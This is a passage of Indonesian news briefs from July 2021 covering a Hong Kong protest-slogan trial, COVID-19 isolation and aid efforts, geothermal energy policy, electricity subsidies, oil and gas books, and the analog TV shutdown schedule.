pengunjuk rasa di lokasi dan lewat telepon, juga hasil analisis statistika pada lebih dari 25 juta unggahan daring, Francis Lee mengatakan "tidak ada keterkaitan substansial" atau korelasi antara slogan tersebut dan kemerdekaan seperti yang dikatakan Lau. "Slogan itu dipahami banyak orang dengan banyak cara berbeda," kata Francis Lee. Eliza Lee mengatakan dalam sidang bahwa slogan tersebut berarti "bersatulah orang-orang dari berbagai usia yang mencintai kebebasan". Namun, dia menerima bahwa slogan itu bisa mempunyai konotasi pro-kemerdekaan bagi beberapa orang. Eliza Lee tidak merespons ketika dimintai komentarnya, sementara Francis Lee menolak berkomentar. Penuntut Chau berusaha membandingkan Edward Leung dengan pemimpin hak-hak sipil AS Malcolm X. Dia bertanya pada Eliza Lee mana di antara keduanya yang dianggap sebagai separatis. "Berapa banyak yang kita perlukan untuk menggali sejarah segregasi rasial yang rumit agar bisa memahami ini," jawab Lee sebelum dipotong oleh hakim Anthea Pang. "Apakah Malcolm X merupakan atau bisa dianggap sebagai seorang pengusung pemisahan atau separatis adalah pertanyaan yang sangat jauh dari pembicaraan dalam sidang ini." Dalam pidato penutupnya pada Selasa, Grossman mengatakan bahwa para pengunjuk rasa di seluruh dunia sering membawa poster tanpa menghadapi tuntutan hukum, dan bahwa Tong seharusnya dibebaskan jika arti slogan tersebut bersifat terbuka. Grossman mengatakan Lau memiliki "pandangan sejarah yang kaku, mekanis, dan tak bisa dipertahankan" yang tidak memperhatikan retorika, dan arti dari slogan tersebut tidak bisa dijelaskan sesuai kemauan Lau. Pang mengatakan bahwa dalam membuat putusan, sidang akan mempertimbangkan apakah "efek alamiah dan masuk akal" dari slogan itu bisa menghasut orang lain untuk menuntut pemisahan, selain mempertimbangkan niat dari perbuatan Tong. (mth)

Panglima TNI Berharap Setiap Daerah Memiliki Fasilitas Isolasi Secara Terpusat

Jakarta, FNN - Panglima Tentara Nasional Indonesia Marsekal TNI Hadi Tjahjanto berharap setiap daerah memiliki fasilitas isolasi secara terpusat (isoter) yang dapat digunakan para suspek dan pasien COVID-19 tanpa gejala dan gejala ringan. Keberadaan tempat isolasi terpusat di tiap daerah penting demi mengurangi beban rumah sakit yang saat ini telah cukup banyak menampung pasien COVID-19. “Isolasi terpusat ini bertujuan menampung pasien COVID-19 dan memberikan pelayanan terbaik seperti adanya tenaga kesehatan, adanya fasilitas dan dilengkapi dengan obat-obatan termasuk di dalamnya tabung oksigen,” kata Hadi Tjahjanto saat meninjau pelaksanaan isolasi terpusat di Bantul, Yogyakarta, Sabtu, sebagaimana dikutip dari keterangan tertulis-nya. Jika ada lonjakan kasus, maka tiap daerah siap menampung mereka di tempat-tempat isolasi terpusat itu, kata Panglima. Langkah tersebut merupakan salah satu cara memutus rantai penularan COVID-19 dan menekan laju penyebaran penyakit. Dalam keterangan yang sama, Panglima TNI juga menyebut tempat-tempat isolasi itu juga dapat memberi pelayanan kesehatan bagi pasien COVID-19, antara lain memberi obat bagi mereka yang membutuhkan. "Selain untuk melayani pasien, isolasi terpusat ini juga dapat memberikan obat untuk masyarakat yang sedang melaksanakan isolasi,” ucap dia menegaskan. Di samping sarana isolasi terpusat, Panglima menyebut vaksinasi dan kegiatan pelacakan (tracing) secara aktif juga dapat membantu menurunkan jumlah penderita COVID-19. Terkait itu, TNI dan Polri akan mendukung kegiatan vaksinasi dan pelacakan suspek dan pasien positif COVID-19 di daerah-daerah, tutur Panglima TNI. Oleh karena itu, Panglima TNI datang langsung ke sarana isolasi terpusat di Rumah Sakit Lapangan Khusus COVID-19 Bambanglipuro, Bantul, Yogyakarta, untuk memeriksa pelaksanaan tracing di tempat itu. "Kedatangan saya ke Bantul adalah untuk mengecek secara langsung apakah di setiap puskesmas sudah ada tenaga tracing untuk menerima informasi, notifikasi, dari Dinas Kesehatan ke puskesmas," ujat Panglima. Panglima meninjau pelaksanaan isolasi terpusat dan layanan kesehatan di RS lapangan di Bantul bersama Kepala BNPB Letjen TNI Ganip Warsito, Kabaharkam Polri Komjen Pol Arief Sulistyanto, dan Panglima Kogabwilhan II Marsdya TNI Imran Baidirus. (sws)

Golkar Bagikan Ratusan Sembako kepada Petugas Makam TPU Surabaya

Surabaya, FNN - Dewan Pimpinan Daerah (DPD) I Partai Golkar Provinsi Jawa Timur dan DPD II Partai Golkar Kota Surabaya membagikan ratusan bingkisan sembako kepada para petugas pemakaman di Tempat Pemakaman Umum (TPU) Keputih Surabaya. "Bingkisan ini sebagai tanda cinta atau bentuk simpati kepada para petugas pemakaman di sini," kata Ketua DPD I Partai Golkar Provinsi Jatim Muhammad Sarmuji saat menyerahkan bingkisan sembako kepada perwakilan petugas pemakaman di TPU Keputih Surabaya, Minggu. Kedatangan Sarmuji bersama Ketua DPD II Partai Golkar Kota Surabaya Arif Fatoni dan sejumlah pengurus DPD disambut oleh Pelaksana Tugas (Plt.) Kepala Dinas Kebersihan dan Ruang Terbuka Hijau (DKRTH) Surabaya Anna Fajriatin. Kepala DKRTH juga sempat mengajak keliling para pengurus Golkar ke TPU Keputih mulai dari melihat langsung pemakaman jenazah COVID-19 dan krematorium. Menurut Sarmuji, bingkisan sembako ini mewakili Ketua Umum DPP Partai Golkar Airlangga Hartarto kepada petugas penanganan COVID-19 paling akhir, yakni penggali kubur untuk jenazah COVID-19. Sarmuji mengatakan bahwa sempat terjadi kenaikan jumlah warga yang meninggal akibat terpapar COVID-19 dalam sebulan terakhir ini. Namun, dalam sepekan ini sudah mulai terjadi penurunan. "Mudah-mudahan makin lama makin menurun. Semoga tidak ada lagi yang dimakamkan di TPU Keputih secara protokol kesehatan," ujarnya. Ia juga memberikan apresiasi kepada Kepala DKRTH Surabaya yang berjuang keras bersama jajarannya dalam melayani masyarakat, khususnya pemakaman jenazah COVID-19. Hal ini tentunya banyak rintangan selama mereka menjalankan tugas. "Mungkin waktu untuk bersantai-santai pada saat ini tidak ada karena banyak yang harus diurus di TPU Keputih. Semoga diberikan kesehatan dalam mengemban tugas ini," katanya. Sementara itu, Ketua DPD II Partai Golkar Kota Surabaya Arif Fathoni menambahkan bahwa pihaknya memberi bantuan ini sudah beberapa kali sejak pandemi melanda Indonesia, Maret 2020. "Jadi, bantuan ini sudah beberapa kalinya. Semoga pandemi ini bisa cepat berakhir sehingga kehidupan normal bisa berjalan kembali," ujarnya. Pelaksana Tugas (Plt.) Kepala DKRTH Surabaya Anna Fajriatin menyampaikan terima kasih kepada Golkar Jatim dan Surabaya yang sudah memberikan bantuan sembako kepada para petugas pemakaman di TPU Keputih. Pada kesempatan itu, Anna mengungkapkan dalam sehari petugas pernah memakamkan 197 jenazah COVID-19 di TPU Surabaya. "Alhamdulilah, saat ini sudah mulai menurun, kemarin sehari 97 jenazah. Semoga semua menjadi normal kembali," katanya. (mth)

Presiden Kolombia Benarkan Covid Varian Delta di Negaranya

Bogota, FNN - Presiden Kolombia Ivan Duque pada Sabtu (24/7) membenarkan kemunculan varian COVID-19 Delta di negaranya saat ini. "Institut Kesehatan Nasional telah mengidentifikasi keberadaan varian Delta di negara kami pada satu kasus yang diperiksa di Kota Cali dan sudah ditangani dengan semua protokol medis," ucapnya. Presiden meminta warga agar memperoleh vaksinasi COVID-19 secepat mungkin, menambahkan bahwa varian Delta saat ini dilaporkan di 105 negara di seluruh dunia dan terbukti memiliki tingkat penularan yang lebih tinggi. Direktur Institut Kesehatan Nasional Martha Lucia Ospina mengatakan bahwa pasien yang terpapar telah ditempatkan di ruang isolasi setibanya dari Amerika Serikat. Menurut Kementerian Kesehatan, Kolombia mencatatkan 4.705.734 kasus dan 118.188 korban meninggal karena COVID-19. Sementara itu, lebih dari 11 juta orang telah mendapatkan vaksinasi COVID-19 lengkap. Sumber: Xinhua

RS Covid Wisma Haji Terima Bantuan Makan dan Alkes

Jakarta, FNN - - Rumah Sakit Darurat COVID-19 Wisma Haji Pondok Gede Jakarta Timur menerima 45.402 produk makanan dan minuman bergizi serta bantuan alat medis seperti oxygen concentrator, Alat Pelindung Diri (APD) masker dan hazmat dari salah satu perusahaan swasta yang bergerak di sektor produk makanan dan minuman untuk membantu meringankan beban penanganan pandemi akibat virus SARS-CoV-2 itu. Bantuan itu merupakan bentuk kolaborasi yang memang menjadi kunci dalam penanganan virus asal Wuhan itu. “Kami mengapresiasi dukungan kepada RDSC Wisma Haji Pondok Gede beserta tenaga kesehatan yang turut serta dalam menjalankan tugasnya di tengah pandemi ini. Upaya gotong royong ini akan membantu kami dalam penanganan pandemi COVID-19,” kata Kepala Pusat Analisis Determinan Kesehatan Kementerian Kesehatan dokter Andi Saguni dalam keterangannya ditulis, Minggu. RSD COVID-19 Wisma Haji merupakan salah satu rumah sakit darurat yang digagas oleh Pemerintah di awal Juli 2021 untuk membantu penanganan lonjakan kasus yang terjadi beberapa waktu belakangan ini akibat masuknya varian baru yaitu varian Delta. Tempat itu berdasarkan data Kementerian Kesehatan memiliki kapasitas 900 kamar dan pembuatannya dikerjakan oleh Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR). Selain itu ada 950 tempat tidur tambahan bersama 50 kamar tambahan untuk memastikan RDSC Wisma Haji bisa menangani lebih banyak pasien COVID-19 dengan optimal. Untuk Instalasi Gawat Darurat (IGD), pengerjaannya menggandeng Badan Nasional Penanggulangan Bencana (BNPB) dan diletakan di luar gedung RSD. Sementara untuk tenaga kesehatan yang bekerja di RSDC Wisma Haji Pondok Gede berasal dari zona hijau seperti Kalimantan dan Sumatera, mereka difasilitasi tempat tinggal di Asrama Haji sehingga bisa meminimalisir potensi penyebaran COVID-19 di antara para tenaga kesehatan atau pun anggota keluarganya. Ada pun tenaga medis yang bertugas di RSDC Wisma Haji Pondok Gede Jakarta Timur berjumlah 350 orang dengan 78 tenaga medis spesialis. RSDC Wisma Haji Pondok Gede hanya menerima rujukan resmi dari puskesmas dan rumah sakit untuk pasien bergejala ringan hingga sedang. Sementara untuk pasien bergejala berat hingga kritis belum bisa ditangani di lokasi ini karena belum adanya fasilitas yang memadai. Hingga Juli 2021 tercatat di Indonesia ada sebanyak 389 ribu tempat tidur yang ada di seluruh fasilitas kesehatan di Indonesia, 30 persennya diminta untuk dialokasikan sebagai tempat penanganan COVID-19 atau berkisar 130 ribu tempat tidur. Sementara itu, dari pihak swasta yang membantu RSDC Pondok Gede berharap bantuan itu bisa meringankan beban tenaga kesehatan dan juga fasilitas kesehatan di tengah perang melawan virus tak kasat mata itu. “Kami sadar bahwa pandemik COVID-19 di Indonesia hanya bisa diatasi dengan kerjasama seluruh anggota masyarakat serta pemerintah, oleh karena itu Nestlé Indonesia ikut hadir untuk bekerja sama dan memberikan bantuan kepada RSDC Wisma Haji Pondok Gede dengan harapan dapat ikut meringankan beban tenaga dan fasilitas kesehatan serta masyarakat yang terdampak pandemi COVID-19 secara bergotong royong,”kata Direktur Corporate Affairs PT Nestle Indonesia Debora R. Tjandrakusuma. (sws)

ReforMiner: Tekan Impor Migas dengan Pemanfaatan Panas Bumi

Jakarta, FNN - Lembaga riset ekonomi bidang tambang dan energi ReforMiner Institut merilis studi terbaru tentang pemanfaatan panas bumi yang dapat menghemat devisa impor migas. "Pemanfaatan tenaga listrik panas bumi (PLTP) yang digunakan untuk mensubstitusi tenaga listrik dari BBM (PLTD) dapat menghemat kebutuhan devisa impor migas dalam jumlah yang cukup signifikan," kata Direktur Eksekutif ReforMiner Institut Komaidi Notonegoro dalam keterangannya di Jakarta, Minggu. Berdasarkan data Badan Pusat Statistik, neraca impor migas meningkat sebanyak 239,38 persen secara year on year (yoy) pada Juni 2021. Kondisi itu menyebabkan peningkatan kebutuhan devisa impor migas untuk bahan bakar PLTD. Kajian terbaru ReforMiner menjelaskan peningkatan kebutuhan devisa impor migas, akibat kenaikan harga minyak mentah dunia, berpotensi memberikan dampak negatif bagi perekonomian nasional. Aspek moneter dari impor migas berpotensi menyebabkan defisit neraca dagang dan depresiasi nilai tukar rupiah, sedangkan untuk fiskal berpotensi menambah kebutuhan anggaran subsidi di APBN. Sementara bagi sektor riil berpotensi menurunkan daya saing barang dan jasa yang diproduksi. "Pemanfaatan panas bumi dapat menjadi salah satu instrumen untuk mengurangi kebutuhan devisa impor migas," ujar Komaidi. Dalam kajian terbaru itu disebut bahwa kebutuhan untuk membangkitkan satu megawatt PLTD memerlukan sekitar 47,30 barel BBM per hari, sehingga Indonesia memerlukan sekitar 93,34 juta barel BBM per tahun. Jika PLN mensubstitusi produksi listrik dari PLTD menggunakan pembangkit berbasis panas bumi, maka negara akan menghemat devisa impor migas lebih dari 1,67 miliar dolar AS per tahun. Pembangkit bertenaga panas bumi mampu menghasilkan listrik sekitar tujuh kali lebih besar dibandingkan pembangkit bertenaga diesel. Faktor kapasitas PLTP sekitar 70-76 persen menduduki posisi tertinggi kedua setelah pembangkit listrik tenaga nuklir yang memiliki kapasitas antara 87,94 persen. "Selain dapat mengurangi kebutuhan devisa impor migas, pemanfaatan dan pengusahaan panas bumi juga memberikan kontribusi terhadap pendapatan negara bukan pajak (PNBP) di APBN," pungkas Komaidi. Berdasarkan Laporan Keuangan Pemerintah Pusat (LKPP) komponen PNBP panas bumi yang disetorkan kepada negara meliputi pendapatan pengusahaan panas bumi, pendapatan iuran tetap eksplorasi, pendapatan iuran tetap operasi, dan pendapatan iuran produksi atau royalti. Saat ini pengusahaan panas bumi merupakan satu-satunya pengusahaan di sub-sektor energi baru terbarukan yang telah memberikan kontribusi terhadap penerimaan negara. Selain memberikan kontribusi bagi keuangan pemerintah pusat, pengusahaan panas bumi juga memberikan kontribusi terhadap keuangan daerah. Kontribusi sub-sektor panas bumi terhadap keuangan daerah melalui transfer dana bagi hasil sumber daya alam panas bumi dan bonus produksi panas bumi. Berdasarkan ketentuan Undang-Undang Nomor 21 Tahun 2014, bonus produksi panas bumi diberikan kepada wilayah administratif di mana panas bumi tersebut diusahakan yang dilakukan sejak unit pertama PLTP beroperasi secara komersial. "Bonus produksi panas bumi ditetapkan sebesar 0,5 persen untuk perjanjian jual beli listrik dan satu persen untuk perjanjian jual beli uap," pungkas Komaidi. (mth)

Sebanyak 24.938 Pelanggan PLN Pascabayar di Bumi Cenderawasih Terima Stimulus

Jayapura, FNN - Sebanyak 24.938 pelanggan pascabayar di Papua dan Papua Barat telah menerima stimulus listrik sesuai dengan keputusan pemerintah per Juni 2021, meringankan beban masyarakat di tengah pandemi COVID-19. General Manager PLN Unit Induk Wilayah Papua dan Papua Barat (UIWP2B) Abdul Farid di Jayapura, Minggu, mengatakan penerima stimulus merupakan pelanggan pascabayar golongan tarif rumah tangga berdaya 450 VA sebanyak 19.233 pelanggan, golongan tarif rumah tangga berdaya 900 VA bersubsidi sebanyak 5.091 pelanggan, serta golongan tarif bisnis berdaya 450 VA sebanyak 614 pelanggan. "Selain itu, jumlah penerima stimulus untuk pelanggan prabayar sebanyak 70.129 yang terdiri dari golongan tarif rumah tangga berdaya 450 VA sebanyak 60.656 pelanggan (data per Maret 2021), golongan tarif rumah tangga berdaya 900 VA bersubsidi sebanyak 17.874 pelanggan (data per Desember 2020), serta golongan tarif bisnis berdaya 450 VA sebanyak 599 pelanggan (data per Maret 2021)," katanya. Menurut Farid, di tengah pandemi ini, PLN berkomitmen menjalankan kebijakan pemerintah sekaligus membantu para pelaku usaha serta masyarakat kecil untuk bertahan. "Kami berharap hal ini digunakan secara maksimal dan efektif untuk tetap produktif," ujarnya. Sebelumnya, PLN siap menjalankan keputusan pemerintah untuk kembali memperpanjang pemberian stimulus listrik bagi masyarakat kecil, industri, bisnis, dan sosial hingga Desember 2021. Stimulus listrik merupakan bentuk perlindungan sosial yang diberikan pemerintah kepada masyarakat di masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat untuk mencegah penyebaran COVID-19. Direktur Niaga dan Manajemen Pelanggan PLN Bob Saril, mengatakan perpanjangan stimulus listrik dapat mendorong masyarakat dan pelaku usaha tetap produktif, serta meningkatkan daya beli masyarakat di tengah Pandemi COVID-19. “Kami selalu mendukung dengan menjalankan keputusan pemerintah untuk memberikan stimulus listrik bagi masyarakat kecil, dan pelaku usaha yang terdampak COVID-19," katanya. Bob menjelaskan, metode penyaluran stimulus listrik tidak berubah dari periode triwulan III 2021, sehingga PLN optimistis penyalurannya akan berjalan lancar. Berdasarkan surat Kementerian Energi dan Sumber Daya Mineral (ESDM) Republik Indonesia, stimulus listrik yang diberikan hingga Desember 2021, besarannya adalah sebagai berikut pertama pelanggan golongan rumah tangga daya 450 Volt Ampere, bisnis kecil daya 450 VA dan industri kecil daya 450 VA diberikan diskon tarif listrik sebesar 50 persen dengan maksimal penggunaan 720 jam nyala. Kedua, pelanggan golongan rumah tangga daya 900 VA bersubsidi diberikan diskon sebesar tarif listrik 25 persen dengan maksimal penggunaan 720 jam nyala dan ketiga pembebasan biaya beban atau abonemen, serta pembebasan ketentuan rekening minimum sebesar 50 persen bagi pelanggan industri, bisnis, dan sosial. Diskon akan diberikan secara langsung kepada pelanggan. Bagi pelanggan pascabayar, diskon diberikan dengan langsung memotong tagihan rekening listrik pelanggan. Sementara itu, untuk pelanggan prabayar, diskon tarif listrik diberikan saat pembelian token listrik. “Untuk pelanggan prabayar daya 450 VA, tidak perlu lagi mengakses token, baik di website maupun layanan Whatsapp Stimulus akan langsung di dapat saat membeli token listrik,” tambah Bob. Khusus untuk pembebasan biaya beban, abonemen, dan pembebasan ketentuan rekening minimum, pemberian stimulus akan diberikan secara otomatis dengan memotong tagihan rekening listrik konsumen sosial, bisnis dan industri. Potongan sebesar 50 persen hanya diberikan untuk biaya beban/abonemen dan biaya pemakaian rekening minimum. Dalam memberikan layanan kepada pelanggan terkait stimulus, PLN juga membuka saluran pengaduan melalui aplikasi PLN Mobile yang dapat diunduh melalui Playstore atau AppStore. (mth)

Fanshurullah Asa Luncurkan Dua Buku Migas

Pontianak, FNN - Kepala BPH Migas periode 2017-2021 Fanshurullah Asa mempertahankan tradisi dengan menerbitkan dua buku yang diberi judul "Energi untuk Kemandirian" dan "Talang Emas Hilir Migas" di penghujung masa bhaktinya. "Sebagai sebuah periode, Komite BPH Migas 2017-2021 selain memiliki pencapaian, tentu juga memiliki catatan-catatan yang umumnya akan dituangkan dalam rekomendasi agar bisa menjadi perhatian Komite berikutnya," kata Fanshurullah Asa saat dihubungi di Pontianak, Kalimantan Barat, Minggu. Ia menjelaskan isi buku yang berjudul Energi untuk Kemandirian berisi refleksi 10 tahun berkiprah sebagai Komite BPH Migas, juga sebagai Kepala BPH Migas dan pengalaman hampir 30 tahun di sektor migas. Sedangkan buku yang berjudul Talang Emas Hilir Migas berisi testimoni para tokoh nasional terhadap sosok Ifan, panggilan akrabnya. "Dua buku ini adalah pertanggungjawaban secara intelektual dan leadership tentang visi dan capaian selama bertugas di BPH Migas dan di sektor hilir migas," ujar Fanshurullah Asa. Pada ilustrasi isi buku menggambarkan di antaranya Indonesia pernah menjadi primadona khususnya minyak. Produksi melimpah dan berhak menjadi anggota organisasi produsen minyak mentah dunia, OPEC. Namun catatan sejarah emas itu telah pupus ketika Indonesia menjadi importir minyak untuk memenuhi kebutuhan konsumen domestik. Sementara itu produksi gas alam yang melimpah lebih banyak dinikmati negara lain ketimbang anak bangsanya sendiri. "Pada saat ini, muncul keinginan untuk mengembalikan kejayaan sektor migas di Tanah Air. Sejumlah regulasi terus dibenahi guna menarik investasi," kata dia. Aspek kelembagaan terus ditata untuk memastikan semua lapisan masyarakat menikmati manfaat dari sektor migas, baik manfaat langsung maupun tidak langsung. "Manfaat langsung tentunya dapat berupa kemudahan mendapatkan BBM dan gas alam, harga yang terjangkau, pasokan yang terjamin, dan lain-lain," katanya. Manfaat tidak langsung bisa dirasakan dengan bergeraknya roda perekonomian nasional maupun daerah, yang salah satunya didorong sumbangan sektor migas, yang menjadikan masyarakat lebih makmur dan sejahtera. "Aspek kemanfaatan energi secara langsung kepada masyarakat itulah yang ditangani BPH Migas. Badan ini bertugas menata, mengatur, dan mengawasi hilir migas dengan baik agar penyediaan dan distribusi energi, terutama BBM dan gas alam, lancar hingga ke seluruh wilayah Indonesia," katanya. UU Migas, kata dia, secara eksplisit menyebutkan bahwa BPH Migas adalah sebuah badan independen untuk melakukan pengaturan dan pengawasan terhadap penyediaan dan pendistribusian BBM dan gas bumi pada kegiatan usaha hilir yang berintikan atau bertumpu pada kegiatan usaha pengolahan, pengangkutan, penyimpanan, dan/atau niaga. BPH Migas Berusia 18 Tahun "Sejauh ini, BPH Migas masih berkutat pada persoalan distribusi BBM dan gas bumi. Itu pun hanya yang dilaksanakan melalui pipa. BPH Migas sama sekali belum hadir dalam aspek pengolahan, pengangkutan, atau penyimpanan migas," ungkap dia. Banyak gagasan untuk mengantarkan BPH Migas memasuki ceruk bisnis tersebut. Misalnya, dengan menggunakan dana Iuran Badan Usaha (IBU) untuk membangun depo-depo penyimpanan BBM, pembangunan SPBU skala kecil di pedesaan dan daerah 3T, dan lain-lain. "Sayangnya, langkah BPH Migas untuk merealisasikan gagasan ini masih terkendala berbagai soal, terutama aspek legalitas. Distribusi BBM ke seluruh pelosok negeri bukan hanya sekedar persoalan niaga," kata dia. Ia melanjutkan komoditas ini tidak bisa dilepaskan begitu saja kepada mekanisme pasar karena akan menimbulkan disparitas harga yang lebar. "Harga BBM di Pulau Jawa pasti akan murah karena pasokannya lancar dan infrastrukturnya mumpuni. Tetapi, masyarakat di luar Pulau Jawa akan tercekik harga BBM yang mahal. Di sini, BPH Migas hadir untuk memberikan keadilan energi dengan mendukung kebijakan BBM Satu Harga," kata Fanshurullah Asa. Ia berharap melalui buku tersebut dengan bahasa penyajian tulisan lugas dan efektif, menjadi lebih enak dibaca dan mudah dipahami terlebih bagi kalangan yang berkecimpung dan menaruh perhatian pada sektor migas. Selain itu, memperluas cakrawala pemahaman khususnya hilir migas, urgensi maupun kompetensi diri sebab yang dituangkan adalah pemikiran terukur berdasarkan pengalaman yang lebih dari cukup, saling berkaitan dan komprehensif. Peluncuran buku akan dilangsungkan secara hibrid, online dan offline, tentu dengan mengetatkan protokol kesehatan. Buku dicetak dan diterbitkan oleh Kompas Gramedia, dijual dalam bentuk cetakan dan e book. Di dalamnya tertuang kata pengantar dari Wantimpres RI, Dr. (HC) Habib Luthfi bin Ali bin Yahya.  (mth)

Pemerintah Akan Hentikan Siaran TV Analog Mulai Agustus, Ini Jadwalnya

Jakarta, FNN - Pemerintah akan menutup semua siaran televisi analog se-Indonesia. Rencana penghentian siaran tv ini akan berjalan selama lima tahap hingga ditargetkan tuntas pada November 2021. Dengan kebijakan ini, seluruh siaran televisi akan dialihkan ke tv digital. Pemerintah melalui Kementerian Komunikasi dan Informastikan (Kominfo) akan memberikan set top box tv digital bagi masyarakat miskin agar tetap bisa menikmati siaran tv. Juru Bicara Kementerian Kominfo, Dedy Permadi mengatakan, faktor penting ASO dilakukan bertahap karena keterbatasan spektrum frekuensi. Tahap pertama penghentian siaran tv ditargetkan paling lambat 17 Agustus 2021. “Faktor keterbatasan spektrum frekuensi menjadi faktor penting mengapa ASO dilakukan secara bertahap. Saat ini, dilakukan penataan frekuensi antara siaran analog yang masih berjalan dengan siaran digital yang perlahan diperkenalkan, dengan tujuan agar masyarakat mulai beralih dan membiasakan diri dengan siaran digital,” kata Dedy, seperti dikutip Kamis (22/7/2021). Berikut tahap dan jadwal penghentian siaran TV Analog se-Indonesia: Tahap pertama paling lambat 17 Agustus 2021: Aceh – 1 (Kabupaten Aceh Besar, Kota Banda Aceh) Kepulauan Riau – 1 (Kabupaten Bintan, Kabupaten Karimun, Kota Batam, Kota Tanjung Pinang) Banten – 1 (Kabupaten Serang, Kota Cilegon, Kota Serang) Kalimantan Timur – 1 (Kabupaten Kutai Kartanegara, Kota Samarinda, Kota Bontang) Kalimantan Utara – 1 (Kabupaten Bulungan, Kota Tarakan) Kalimantan Utara – 3 (Kabupaten Nunukan) Tahap kedua paling lambat 31 Desember 2021: Aceh – 2 (Kota Sabang) Aceh – 4 (Kabupaten Pidie, Kabupaten Bireuen, Kabupaten Pidie Jaya) Riau – 4 (Kabupaten Bengkalis, Kabupaten Kepulauan Meranti, Kota Dumai) Jawa Barat – 2 (Kabupaten Garut) Jawa Barat – 3 (Kabupaten Cirebon, Kabupaten Kuningan, Kota Cirebon) Jawa Barat – 4 (Kabupaten Ciamis, Kabupaten Pangandaran, Kabupaten Tasikmalaya, Kota Banjar, Kota Tasikmalaya) Jawa Barat – 7 (Kabupaten Cianjur) Jawa Barat – 8 (Kabupaten Majalengka, Kabupaten Sumedang) Jawa Tengah – 2 (Kabupaten Blora) Jawa Tengah – 3 (Kabupaten Pekalongan, Kabupaten Pemalang, Kabupaten Tegal, Kota Pekalongan, Kota Tegal) Jawa Tengah – 6 (Kabupaten Rembang, Kabupaten Pati, Kabupaten Jepara) Jawa Tengah – 7 (Kabupaten Cilacap, Kabupaten Banyumas, Kabupaten Purbalingga, Kabupaten Brebes) Jawa Timur – 3 (Kabupaten Sampang, Kabupaten Pamekasan, Kabupaten Sumenep) Jawa Timur – 5 (Kabupaten Situbondo) Jawa Timur – 6 (Kabupaten Banyuwangi) Jawa Timur – 10 (Kabupaten Pacitan) Banten – 2 (Kabupaten Pandeglang) Nusa Tenggara Timur – 3 (Kabupaten Timor Tengah Utara) Nusa Tenggara Timur – 4 (Kabupaten Belu, Kabupaten Malaka) Kalimantan Timur – 2 (Kabupaten Penajam Paser Utara, Kota Balikpapan) Tahap Ketiga paling lambat 31 Maret 2022: Aceh – 7 (Kabupaten Aceh Utara, Kota Lhokseumawe) Sumatera Utara – 2 (Kabupaten Karo, Kabupaten Simalungun, Kabupaten Asahan, Kabupaten Batu Bara, Kota Pematangsiantar, Kota Tanjung Balai) Sumatera Utara – 5 (Kabupaten Dairi, Kabupaten Pakpak Bharat) Sumatera Barat – 1 (Kabupaten Solok, Kabupaten Sijunjung, Kabupaten Tanah Datar, Kabupaten Padang Pariaman, Kabupaten Agam, Kota Padang, Kota Solok, Kota Sawahlunto, Kota Padang Panjang, Kota Bukittinggi, Kota Pariaman) Jambi – 1 (Kabupaten Batanghari, Kabupaten Muaro Jambi, Kota Jambi, Kabupaten Sarolangun) Sumatera Selatan – 1 (Kabupaten Ogan Komering Ilir, Kabupaten Banyuasin, Kabupaten Ogan Ilir, Kota Palembang) Bali (Kabupaten Jembrana, Kabupaten Tabanan, Kabupaten Badung, Kabupaten Gianyar, Kabupaten Klungkung, Kabupaten Bangli, Kabupaten Karangasem, Kabupaten Buleleng, Kota Denpasar) Bengkulu – 1 (Kabupaten Bengkulu Tengah, Kota Bengkulu) Lampung – 1 (Kabupaten Lampung Selatan, Kabupaten Lampung Tengah, Kabupaten Lampung Timur, Kabupaten Pesawaran, Kabupaten Pringsewu, Kota Bandar Lampung, Kota Metro) Kepulauan Bangka Belitung – 1 (Kabupaten Bangka Tengah, Kota Pangkal Pinang) Jawa Timur – 4 (Kabupaten Lumajang, Kabupaten Jember, Kabupaten Bondowoso) Nusa Tenggara Barat – 1 (Kabupaten Lombok Barat, Kabupaten Lombok Tengah, Kabupaten Lombok Timur, Kota Mataram) Nusa Tenggara Timur – 1 (Kabupaten Kupang, Kota Kupang) Kalimantan Barat – 1 (Kabupaten Mempawah, Kabupaten Kubu Raya, Kota Pontianak) Kalimantan Selatan – 2 (Kabupaten Tapin, Kabupaten Hulu Sungai Selatan, Kabupaten Hulu Sungai Tengah, Kabupaten Hulu Sungai Utara, Kabupaten Balangan) Kalimantan Selatan – 3 (Kabupaten Kotabaru) Kalimantan Selatan – 4 (Kabupaten Tabalong) Kalimantan Tengah – 1 (Kabupaten Pulang Pisau, Kota Palangkaraya) Sulawesi Utara – 1 (Kabupaten Minahasa, Kabupaten Minahasa Utara, Kota Manado, Kota Bitung, Kota Tomohon) Sulawesi Tengah – 1 (Kabupaten Sigi, Kota Palu) Sulawesi Selatan – 1 (Kabupaten Takalar, Kabupaten Gowa, Kabupaten Maros, Kabupaten Pangkajene Kepulauan, Kota Makassar) Sulawesi Tenggara – 1 (Kabupaten Konawe, Kabupaten Konawe Selatan, Kabupaten Konawe Utara, Kabupaten Konawe Kepulauan, Kota Kendari) Gorontalo – 1 (Kabupaten Gorontalo, Kabupaten Bone Bolango, Kabupaten Gorontalo Utara, Kota Gorontalo, Kabupaten Boalemo) Sulawesi Barat – 1 (Kabupaten Mamuju) Maluku – 1 (Kabupaten Seram Bagian Barat, Kota Ambon) Maluku Utara – 1 (Kabupaten Halmahera Barat, Kota Ternate) Papua – 1 (Kabupaten Jayapura, Kabupaten Keerom, Kota Jayapura) Papua Barat – 1 (Kabupaten Sorong, Kota Sorong) Papua Barat – 4 (Kabupaten Manokwari, Kabupaten Manokwari Selatan, Kabupaten Pegunungan Arfak) Riau – 1 (Kabupaten Kampar, Kota Pekanbaru) Tahap keempat paling lambat 17 Agustus 2022: Sumatera Utara – 1 (Kabupaten Langkat, Kabupaten Deli Serdang, Kabupaten Serdang Bedagai, Kota Medan, Kota Binjai, Kota Tebing Tinggi) Sumatera Barat – 4 (Kabupaten Lima Puluh Kota, Kota Payakumbuh) Sumatera Barat – 7 (Kabupaten Pesisir Selatan) Riau – 5 1(Kabupaten Pelalawan, Kabupaten Siak, Kabupaten Kuantan Singingi) Jambi – 2 (Kabupaten Tanjung Jabung Barat, Kabupaten Tanjung Jabung Timur) Jambi – 3 (Kabupaten Bungo, Kabupaten Tebo) Jambi – 5 (Kabupaten Merangin) Sumatera Selatan – 2 (Kabupaten Musi Banyuasin) Sumatera Selatan – 3 (Kabupaten Musi Rawas, Kabupaten Empat Lawang, Kabupaten Musi Rawas Utara, Kota Lubuk Linggau) Sumatera Selatan – 4 (Kabupaten Muara Enim, Kabupaten Penukal Abab Lematang Ilir, Kota Prabumulih) Sumatera Selatan – 5 (Kabupaten Lahat, Kota Pagar Alam) 